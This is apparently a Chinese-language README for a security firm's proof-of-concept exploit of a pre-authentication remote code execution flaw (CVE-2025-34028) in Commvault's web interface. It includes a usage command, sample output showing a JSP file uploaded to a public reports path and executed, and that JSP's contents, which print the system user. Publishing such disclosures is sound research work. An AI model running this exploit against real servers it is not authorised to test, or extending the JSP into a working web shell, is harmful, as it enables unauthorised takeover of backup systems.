Commvault 预认证远程代码执行概念验证
详见我们的博客文章以获取技术细节
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
此脚本是 CVE-2025-34028 的概念验证，针对 Commvault Web 接口。通过上传包含可执行代码 .jsp 文件的 zip 压缩包，该 zip 压缩包会被上传至公开目录，系统用户信息将在响应中详细返回。更多细节请参阅我们的[博客文章] (https://labs.watchtowr.com/)。
该 PoC 脚本使用一个硬编码的 zip 压缩包，其中包含以下文件：
Shell.jsp 内容：
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
更多详情请参阅 Commvault 安全公告
如需获取最新安全研究，请关注 watchTowr Labs 团队